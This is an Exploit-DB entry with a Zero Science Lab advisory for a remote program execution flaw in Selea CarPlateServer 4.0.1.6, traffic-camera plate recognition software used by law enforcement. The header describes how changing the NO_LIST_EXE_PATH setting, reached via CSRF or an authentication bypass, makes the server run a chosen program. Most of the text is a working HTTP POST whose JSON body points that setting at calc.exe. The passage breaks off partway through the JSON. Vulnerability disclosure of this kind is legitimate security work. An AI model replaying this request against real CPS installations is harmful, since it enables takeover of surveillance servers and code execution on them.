Exploit-DB #49452
Description: Selea CarPlateServer (CPS) 4.0.1.6 - Remote Program Execution
Type: webapps
Platform: multiple
Date: 2021-01-22
Author: LiquidWorm

Exploit:
# Exploit Title: Selea CarPlateServer (CPS) 4.0.1.6 - Remote Program Execution
# Date: 08.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea CarPlateServer (CPS) v4.0.1.6 Remote Program Execution


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: 4.0.1.6(210120)
                  4.013(201105)
                  3.100(200225)
                  3.005(191206)
                  3.005(191112)

Summary: Our CPS (Car Plate Server) software is an advanced solution that can
be installed on computers and servers and used as an operations centre. It can
create sophisticated traffic control and road safety systems connecting to
stationary, mobile or vehicle-installed ANPR systems. CPS allows to send alert
notifications directly to tablets or smartphones, it can receive and transfer
data through safe encrypted protocols (HTTPS and FTPS). CPS is an open solution
that offers full integration with main video surveillance software. Our CPS
software connects to the national operations centre and provides law enforcement
authorities with necessary tools to issue alerts. CPS is designed to guarantee
cooperation among different law enforcement agencies. It allows to create a
multi-user environment that manages different hierarchy levels and the related
division of competences.

Desc: The server suffers from an arbitrary win32/64 binary executable execution
when setting the NO_LIST_EXE_PATH variable to a program of choice. The command
will be executed if proper trigger criteria is met. It can be exploited via CSRF
or by navigating to /cps/ endpoint from the camera IP and bypass authentication
gaining the ability to modify the running configuration including changing the
password of admin and other users.

Tested on: Microsoft Windows 10 Enterprise
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5622
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5622.php


08.11.2020

--


POST /config_request?ACTION=WRITE HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 6309
Authorization: Basic ZmFrZTpmYWtl
Accept: application/json, text/plain, */*
LoginMode: angular
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Edg/87.0.664.75
AuthToken: 6d0c4568-5c17-11eb-ab5f-54e1ad89571a
content-type: application/json
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9


{
  "ACTIONS": {
    "ANIA_LIST_DAYS_NUM": "15",
    "ANIA_LIST_PWD": "",
    "ANIA_LIST_USER": "{B64valuehereommited}",
    "BLACK_LIST_COUNTRY": "",
    "EXACT_MATCH": "false",
    "FUZZY_MATCH": "true",
    "MINISTEROTRASPORTI_LIST_DAYS_NUM": "15",
    "MINISTEROTRASPORTI_LIST_ENABLE_CHECK": "0,1",
    "MINISTEROTRASPORTI_LIST_GET_OWNERS": "false",
    "MINISTEROTRASPORTI_LIST_PWD": "",
    "MINISTEROTRASPORTI_LIST_SIGNAL_MISSING_CARPLATE": "false",
    "MINISTEROTRASPORTI_LIST_SIGNAL_MISSING_REVISION": "false",
    "MINISTEROTRASPORTI_LIST_USER": "",
    "MINISTEROTRASPORTI_LIST_USE_SELEA_SERVER": "false",
    "MINISTEROTRASPORTI_LIST_USE_VPN": "true",
    "MINISTEROTRASPORTI_LIST_VPN_PASSWORD": "",
    "MINISTEROTRASPORTI_LIST_VPN_USERNAME": "",
    "MINISTERO_LIST_DAYS_NUM": "24",
    "MINISTERO_LIST_PWD": "",
    "MINISTERO_LIST_USER": "",
    "NO_LIST_ENABLED": "true",
    "NO_LIST_ENABLE_EXE": "true",
    "NO_LIST_EXE_PATH": "C:/windows/system32/calc.exe",
    "NO_LIST_HTTP": "http://localhost:8080/$TRIGGER_EXE_VAR",
    "NO_LIST_HTTP_ENABLED": "false",
    "NO_LIST_SEND_TCP_ALARM": "",
    "PERMISSIVE_MATCH": "true",
    "WHITE_LIST_ALLOWED_COUNTRY_TYPE_INFO": ""
  },
  "CAMERAINFO": {
    "BA__________": {
      "APPROACHING": "",
      "CustomCameraId": "",
      "CustomGateId": "",
      "DetectDesc": "ZSL",
      "DetectId": "",
      "Direction": "",
      "GPSLocation": "",
      "GateDesc": "3",
      "GateId": "",
      "LEAVING": "",
      "ZoneName": "",
      "setname": "false",
      "skip": "false"
    }
  },
  "CONTEXT": {
    "BA__________": {
      "URL": [
        "https://www.zeroscience.mk"
      ]
    }
  },
  "DBMS": {
    "DB_NAME": "",
    "DB_PASSWORD": "",
    "DB_SERVER": "",
    "DB_TYPE": "sqlite",
    "DB_USERNAME": "",
    "ENCRYPT_DB": "false",
    "SQLITE_MAX_MB_RAM_CACHE": "-1"
  },
  "EMAIL": {
    "DEST": "",
    "FROM_EMAIL": "",
    "FROM_NAME": "",
    "LOG_USER_SEARCH": "false",
    "MIN_EMAIL_TIME": "5",
    "PASSWORD": "",
    "PORT": "25",
    "SEND_EMAIL_ON_TAMPER": "false",
    "SERVER": "",
    "SSL": "false",
    "USERNAME": "",
    "XOAUTH2": "false"
  },
  "EMAIL-XOAUTH2": {
    "refresh_token": ""
  },
  "EZ_CLIENTS": {
    "PASSWORD": "",
    "SLAVES": "",
    "USERNAME": "",
    "USE_CNTLM": "false",
    "WANT_CTX": "false"
  },
  "EZ_CLIENT_SCNTT": {
    "CTX": "true",
    "HOST": "",
    "PASSWORD": "",
    "PORT": "443",
    "USERNAME": ""
  },
  "FTPSYNC": {
    "DELETE_OLD_SYNC_DAYS": "7",
    "JSON_CONFIG": "eyJzZXJ2ZXJzX2NvbmZpZyI6IFtdfQ==",
    "SAVE_FTP_SEND_ERRORS": "true"
  },
  "GLOBAL_HTTP_PROXY": {
    "CNTLM_ENABLED": "false",
    "EZ_ADDRESS": "cps.selea.com",
    "EZ_PORT": "8999",
    "HOST": "",
    "NON_PROXY_HOST": "localhost|^(10|127|169\\.254|172\\.1[6-9]|172\\.2[0-9]|172\\.3[0-1]|192\\.168)\\..+",
    "PASSWORD": "",
    "PORT": "",
    "PROXY_ENABLED": "true",
    "USERNAME": ""
  },
  "HTTPS": {
    "CERTIFICATE": "",
    "ENABLE_HTTP2": "true",
    "GET_CERTIFICATE_FROM_SELEA": "false",
    "PRIVATE_KEY": "",
    "ROOT_CERTIFICATE": ""
  },
  "MASTER_CPS": {